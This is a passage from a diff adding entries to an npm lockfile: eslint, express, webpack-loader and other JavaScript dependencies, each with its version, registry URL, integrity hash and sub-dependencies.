"sha512-spUQWrdPt+pRVP1TTJLmfRNJJHHZryFmptzcafwSvHsceV81djHOdnEeDmkdotZyLNjDhrOasNK8nikkoG1O8Q==", + "devOptional": true, + "requires": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.2", + "@eslint/js": "^8.47.0", + "@humanwhocodes/config-array": "^0.11.10", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "dependencies": { + "eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "devOptional": true, + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + } + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "devOptional": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "devOptional": true, + "requires": { + "is-glob": "^4.0.3" + } + }, + "globals": { + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", + "devOptional": true, + "requires": { + "type-fest": "^0.20.2" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "devOptional": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "devOptional": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "devOptional": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "devOptional": true + } + } + }, + "eslint-plugin-prettier": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-3.4.1.tgz", + "integrity": "sha512-htg25EUYUeIhKHXjOinK4BgCcDwtLHjqaxCDsMy5nbnUMkKFvIhMVCp+5GFUXQ4Nr8lBsPqtGAqBenbpFqAA2g==", + "dev": true, + "requires": { + "prettier-linter-helpers": "^1.0.0" + } + }, + "eslint-plugin-react": { + "version": "7.33.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz", + "integrity": "sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==", + "dev": true, + "requires": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.0.12", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.8" + }, + "dependencies": { + "doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "requires": { + "esutils": "^2.0.2" + } + }, + "resolve": { + "version": "2.0.0-next.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.4.tgz", + "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==", + "dev": true, + "requires": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true + } + } + }, + "eslint-plugin-security": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-security/-/eslint-plugin-security-1.7.1.tgz", + "integrity": "sha512-sMStceig8AFglhhT2LqlU5r+/fn9OwsA72O5bBuQVTssPCdQAOQzL+oMn/ZcpeUY6KcNfLJArgcrsSULNjYYdQ==", + "dev": true, + "requires": { + "safe-regex": "^2.1.1" + } + }, + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "dependencies": { + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + } + } + }, + "eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "devOptional": true + }, + "espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "devOptional": true, + "requires": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "dependencies": { + "acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "devOptional": true + } + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" + }, + "esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "devOptional": true, + "requires": { + "estraverse": "^5.1.0" + } + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "requires": { + "estraverse": "^5.2.0" + } + }, + "estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==" + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" + }, + "eta": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/eta/-/eta-2.2.0.tgz", + "integrity": "sha512-UVQ72Rqjy/ZKQalzV5dCCJP80GrmPrMxh6NlNf+erV6ObL0ZFkhCstWRawS85z3smdr3d2wXPsZEY7rDPfGd2g==" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==" + }, + "eval": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/eval/-/eval-0.1.8.tgz", + "integrity": "sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw==", + "requires": { + "@types/node": "*", + "require-like": ">= 0.1.1" + } + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" + }, + "execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "requires": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "dependencies": { + "get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==" + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" + } + } + }, + "express": { + "version": "4.18.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz", + "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==", + "requires": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.1", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.11.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "dependencies": { + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + } + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "requires": { + "is-extendable": "^0.1.0" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-diff": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.3.0.tgz", + "integrity": "sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==", + "dev": true + }, + "fast-glob": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.1.tgz", + "integrity": "sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==", + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + } + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "devOptional": true + }, + "fast-url-parser": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/fast-url-parser/-/fast-url-parser-1.1.3.tgz", + "integrity": "sha512-5jOCVXADYNuRkKFzNJ0dCCewsZiYo0dz8QNYljkOpFC6r2U4OBmKtvm/Tsuh4w1YYdDqDb31a8TVhBJ2OJKdqQ==", + "requires": { + "punycode": "^1.3.2" + } + }, + "fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "requires": { + "reusify": "^1.0.4" + } + }, + "faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "requires": { + "websocket-driver": ">=0.5.1" + } + }, + "fbemitter": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fbemitter/-/fbemitter-3.0.0.tgz", + "integrity": "sha512-KWKaceCwKQU0+HPoop6gn4eOHk50bBv/VxjJtGMfwmJt3D29JpN4H4eisCtIPA+a8GVBam+ldMMpMjJUvpDyHw==", + "requires": { + "fbjs": "^3.0.0" + } + }, + "fbjs": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-3.0.5.tgz", + "integrity": "sha512-ztsSx77JBtkuMrEypfhgc3cI0+0h+svqeie7xHbh1k/IKdcydnvadp/mUaGgjAOXQmQSxsqgaRhS3q9fy+1kxg==", + "requires": { + "cross-fetch": "^3.1.5", + "fbjs-css-vars": "^1.0.0", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^1.0.35" + } + }, + "fbjs-css-vars": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/fbjs-css-vars/-/fbjs-css-vars-1.0.2.tgz", + "integrity": "sha512-b2XGFAFdWZWg0phtAWLHCk836A1Xann+I+Dgd3Gk64MHKZO44FfoD1KxyvbSh0qZsIoXQGGlVztIY+oitJPpRQ==" + }, + "feed": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/feed/-/feed-4.2.2.tgz", + "integrity": "sha512-u5/sxGfiMfZNtJ3OvQpXcvotFpYkL0n9u9mM2vkui2nGo8b4wvDkJ8gAkYqbA8QpGyFCv3RK0Z+Iv+9veCS9bQ==", + "requires": { + "xml-js": "^1.6.11" + } + }, + "fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "requires": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + } + }, + "file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "devOptional": true, + "requires": { + "flat-cache": "^3.0.4" + } + }, + "file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "filesize": { + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==" + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "requires": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + } + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "devOptional": true, + "requires": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + } + }, + "flatted": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==", + "devOptional": true + }, + "flux": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/flux/-/flux-4.0.4.tgz", + "integrity": "sha512-NCj3XlayA2UsapRpM7va6wU1+9rE5FIL7qoMcmxWHRzbp0yujihMBm9BBHZ1MDIk5h5o2Bl6eGiCe8rYELAmYw==", + "requires": { + "fbemitter": "^3.0.0", + "fbjs": "^3.0.1" + } + }, + "follow-redirects": { + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", + "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==" + }, + "for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dev": true, + "requires": { + "is-callable": "^1.1.3" + } + }, + "fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "requires": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "dependencies": { + "cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + } + }, + "fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "requires": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", 